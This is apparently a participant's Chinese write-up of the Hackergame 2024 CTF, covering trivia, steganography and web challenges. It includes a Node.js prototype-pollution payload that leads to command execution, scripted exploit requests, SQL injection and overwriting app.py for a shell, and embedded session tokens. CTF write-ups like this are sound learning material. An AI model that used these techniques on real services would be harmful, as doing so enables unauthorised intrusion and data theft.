前言
这个比赛从 11.2 打到 11.9,一开始没注意到,导致我 11.6 才进场。题目质量挺不错的,学习了
签到
直接把 pass=false
改成 pass=true
喜欢做签到的 CTFer 你们好呀
找了半天不知道那个才是 “中国科学技术大学校内 CTF 战队的招新主页”,最后在 https://www.nebuu.la/ 找到了 flag
Checkin Again
Checkin Again & Again
猫咪问答(Hackergame 十周年纪念版)
只做出来一部分,做不动了
2. 众所周知,Hackergame 共约 25 道题目。近五年(不含今年)举办的 Hackergame 中,题目数量最接近这个数字的那一届比赛里有多少人注册参加?(30 分)
答案:2682
到 https://lug.ustc.edu.cn/wiki/lug/events/hackergame/ 一个一个试
3. Hackergame 2018 让哪个热门检索词成为了科大图书馆当月热搜第一?(20 分)
答案:程序员的自我修养
有 2018 年的 Hackergame WP,能从里面找到些蛛丝马迹
4. 在今年的 USENIX Security 学术会议上中国科学技术大学发表了一篇关于电子邮件伪造攻击的论文,在论文中作者提出了 6 种攻击方法,并在多少个电子邮件服务提供商及客户端的组合上进行了实验?(10 分)
答案:336
搜索引擎大法,直接找到原论文即可
5. 10 月 18 日 Greg Kroah-Hartman 向 Linux 邮件列表提交的一个 patch 把大量开发者从 MAINTAINERS 文件中移除。这个 patch 被合并进 Linux mainline 的 commit id 是多少?(5 分)
答案:6e90b6
Kimi 大法
打不开的盒
看得我眼睛都痛了
勉强辨认出 flag:flag{Dr4W_Us!nG_fR3E_C4D!!w0W}
每日论文太多了!
把论文 pdf 下载下来,全局搜 flag,真有东西啊?服气
这坨空白复制出来的文本是 flag here
转成 word 之后把图片拖开就有 flag 了
比大小王
审代码能看到提交答案的逻辑
先随便玩一下,看下 state 里面的值
调用 submit 来交一下
参考上面的逻辑,容易写出 exp
import requests
import json
import time
token = "eyJ0b2tlbiI6IjM1NjQ6TUVRQ0lFT3N3YVNlMk5MM0g2ejlLeWVPRWd5SjFIZktsVDRQVVRHUmNPc2tCTUtnQWlCOVMzeDhuaDdpZytFeVI1c1Fja3JjRkhkUWIzSG9wUUdhNGFLdFRncjdOZz09In0.Zyw28Q.7sMHxs5JT7HX3vuGDPsmRF6fShA"
resp = requests.post(
url="http://202.38.93.141:12122/game",
headers={
'Content-Type': 'application/json',
},
cookies={
'session': token,
},
data="{}"
)
token2 = resp.headers['Set-Cookie'].split(';')[0][len('session='):]
ans = []
questions = resp.json()['values']
for q in questions:
if q[0] >= q[1]:
ans.append('>')
else:
ans.append('<')
time.sleep(10)
resp = requests.post(
url="http://202.38.93.141:12122/submit",
headers={
'Content-Type': 'application/json',
},
cookies={
'session': token2,
},
data=json.dumps({
'inputs': ans,
}),
)
print(resp.text)
不加 sleep 说我时空穿越,笑死
sleep 10s 之后再交就有 flag 了
PowerfulShell
和之前 picoCTF 做的一道无字母 shell 差不多,主要思路是字符串切片
刚好能切出 sh
,笑嘻了,一下子就拿到没有输入限制的 shell 了
但是没有标准输出,试了一下错误输出是有的(curl: not found);那就把标准输出重定向到错误输出就 OK 了,轻松拿到 flag
Node.js is Web Scale
一眼盯真的原型链污染
// server.js
const express = require("express");
const bodyParser = require("body-parser");
const path = require("path");
const { execSync } = require("child_process");
const app = express();
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, "public")));
let cmds = {
getsource: "cat server.js",
test: "echo 'hello, world!'",
};
let store = {};
// GET /api/store - Retrieve the current KV store
app.get("/api/store", (req, res) => {
res.json(store);
});
// POST /set - Set a key-value pair in the store
app.post("/set", (req, res) => {
const { key, value } = req.body;
const keys = key.split(".");
let current = store;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!current[key]) {
current[key] = {};
}
current = current[key];
}
// Set the value at the last key
current[keys[keys.length - 1]] = value;
res.json({ message: "OK" });
});
// GET /get - Get a key-value pair in the store
app.get("/get", (req, res) => {
const key = req.query.key;
const keys = key.split(".");
let current = store;
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
if (current[key] === undefined) {
res.json({ message: "Not exists." });
return;
}
current = current[key];
}
res.json({ message: current });
});
// GET /execute - Run commands which are constant and obviously safe.
app.get("/execute", (req, res) => {
const key = req.query.cmd;
const cmd = cmds[key];
res.setHeader("content-type", "text/plain");
res.send(execSync(cmd).toString());
});
app.get("*", (req, res) => {
res.sendFile(path.join(__dirname, "public", "index.html"));
});
// Start the server
const PORT = 3000;
app.listen(PORT, () => {
console.log(`KV Service is running on port ${PORT}`);
});
把 cmds
污染了就行
{
"key": "__proto__.flag",
"value": "cat /flag"
}
PaoluGPT
千里挑一
给了 1000 条聊天记录,考爬虫,直接上脚本
不敢上多线程,单线程有时都会 timeout,真怕给靶机发炸了
import requests
import bs4
_ga = "GA1.1.691651083.1730948651"
_ga_R7BPZT6779 = "GS1.1.1730948651.1.1.1730949224.60.0.1213642003"
session = "eyJ0b2tlbiI6IjM1NjQ6TUVRQ0lFT3N3YVNlMk5MM0g2ejlLeWVPRWd5SjFIZktsVDRQVVRHUmNPc2tCTUtnQWlCOVMzeDhuaDdpZytFeVI1c1Fja3JjRkhkUWIzSG9wUUdhNGFLdFRncjdOZz09In0.ZyyxUA.2gwwpzHoq9po1R56vI-KPtCydc8"
resp = requests.get(
url="https://chal01-d5zaffxq.hack-challenge.lug.ustc.edu.cn:8443/list",
cookies={
"_ga": _ga,
"_ga_R7BPZT6779": _ga_R7BPZT6779,
"session": session,
},
)
soup = bs4.BeautifulSoup(resp.text, "html.parser")
links = soup.find_all("a")
for link in links[2:]:
print(f"[*] sreach {link['href']}")
try:
resp = requests.get(
url=f"https://chal01-d5zaffxq.hack-challenge.lug.ustc.edu.cn:8443{link['href']}",
cookies={
"_ga": _ga,
"_ga_R7BPZT6779": _ga_R7BPZT6779,
"session": session,
}
)
if "flag" in resp.text:
print(resp.text)
except:
print(f"[!] something error when {link['href']}")
窥视未知
SQL 注入,把 shown=false
的聊天记录注出来就行
禁止内卷
很明显的任意文件写
覆写 app.py,加一个恶意路由进去即可
然后就 get shell 了
读 answers.json
然后按照题目要求解密即可
flag = [
37, 43, 32, 38, 58, 52, 45, 46,-32, -32, -32, -32, 30, 36, 50, 49, 36, 53, 36, 49, 30,
45, 46, 54, 30, 20, 30, 49, 52, 45, 30, 12, 24, 30, 34, -17, 35, 36, -15, -15, 35, 37,
-8, 35, -9, 36, -13, 37, 60, 42, 79, 72, 32, 37, 97, 20, 55, 44, 87, 68, 56, 1, 58, 40,
38, 100, 67, 83, 6, 40, 36, 64, 100, 87, 50, 68, 4, 72, 16, 33, 65, 66, 58, 63, 54, 6,
40, 95, 40, 71, 96, 55, 92, 69, 94, 2, 10, 93, 66, 62, 66, 26, 13, 51, 18, 68, 75, 68,
96, 65, 43, 85, 31, 100, 42, 98, 40, 84, 52, 93, 97, 18, 100, 15, 93, 21, 21, 77, 7, 100,
83, 66, 23, 34, 36, 79, 19, 49, 11, 35, 40, 58, 40, 26, 41, 18, 86, 2, 16, 72, 42, 91,
96, 98, 28, 89, 72, 56, 56, 53, 74, 83, 41, 0, 30, 76, 96, 43, 41, 1, 1, 1, 18, 57, 93,
15, 66, 82, 10, 80, 62, 64, 25, 84, 83, 47, 44, 18, 85, 38, 55, 45, 6, 100, 39, 95, 6,
49, 22, 31, 87, 99, 70, 62, 48, 21, 36, 87, 65, 60, 7, 11, 70, 73, 39, 9, 8, 51, 61,
21, 41, 81, 74, 49, 63, 85, 54, 14, 82, 40, 79, 39, 18, 38, 31, 91, 86, 19, 78, 52, 52,
62, 61, 96, 87, 79, 97, 68, 100, 74, 36, 83, 65, 69, 5, 8, 83, 39, 30, 47, 62, 19, 87,
62, 99, 35, 70, 67, 9, 86, 97, 96, 48, 49, 28, 72, 63, 39, 43, 78, 52, 88, 50, 56, 53,
91, 22, 58, 23, 32, 70, 43, 67, 100, 73, 66, 51, 9, 67, 18, 35, 64, 75, 99, 65, 9, 33,
69, 69, 37, 17, 60, 9, 80, 14, 45, 74, 53, 39, 96, 74, 18, 2, 33, 68, 78, 13, 16, 4, 33,
49, 33, 95, 65, 95, 81, 98, 1, 55, 33, 21, 80, 42, 82, 77, 53, 32, 0, 96, 57, 62, 0, 95,
21, 39, 95, 40, 42, 10, 50, 77, 28, 39, 30, 9, 77, 62, 92, 8, 68, 66, 88, 35, 55, 64, 18,
9, 76, 29, 56, 88, 89, 64, 54, 93, 45, 13, 65, 84, 22, 43, 1, 15, 57, 97, 19, 86, 53, 11,
74, 22, 82, 9, 43, 66, 76, 63, 78, 83, 53, 90, 37, 20, 27, 58, 93, 13, 14, 5, 62, 15, 58,
20, 94, 57, 63, 52, 55, 9, 30, 64, 96, 41, 23, 14, 52, 15, 11, 0, 88, 39, 65, 71, 16, 15,
45, 53, 44, 34, 69, 92, 13, 96, 87, 19, 87, 20, 87, 36, 44, 91, 57, 68, 64, 80, 19, 58,
68, 20, 89, 46, 7, 55, 34, 11, 15, 61, 16, 35, 28, 95, 52, 87, 11, 2, 90, 54, 14, 80, 66,
44, 58, 56, 21, 9, 32, 100, 83, 61, 27
]
for i in flag:
print(chr(i+65), end="")
LESS 文件查看器在线版
防 AK 的,不会做
LD_PRLOAD 劫持吗?改不了环境变量
CVE-2024-32487 吗?没办法构造带换行的文件名
软链接指向其他文件吗?不能解压
没有思路力…
欸等一下,less 是能直接读 gz 里面的内容的,有无说法
好吧,搞了半天还是没有进展
后记
看了官方 WP,解法有点抽象。主要针对 Ubuntu 默认开启的扩展程序 lesspipe
,这是一个脚本,会在 less 读取文件时调用,对于不同后缀名的文件会产生不同的行为。而这个脚本对于文件名没有任何安全防御,就会导致一些问题。最后能通过构造特殊的文件名来调用 .so
文件,造成类似 LD_PRELOAD 劫持的效果
参考文章:https://seclists.org/oss-sec/2014/q4/1027
对于出题人的水平我是表示钦佩的,但是个人认为这题给点 hint 指向 lesspipe
会比较合适,这个漏洞真的是从犄角旮旯里面翻出来的,很难通过搜索找到答案。如果要自己探索出这个利用方式的话,更是难上加难,作为供给新生赛的题目缺乏了部分引导。仅个人看法。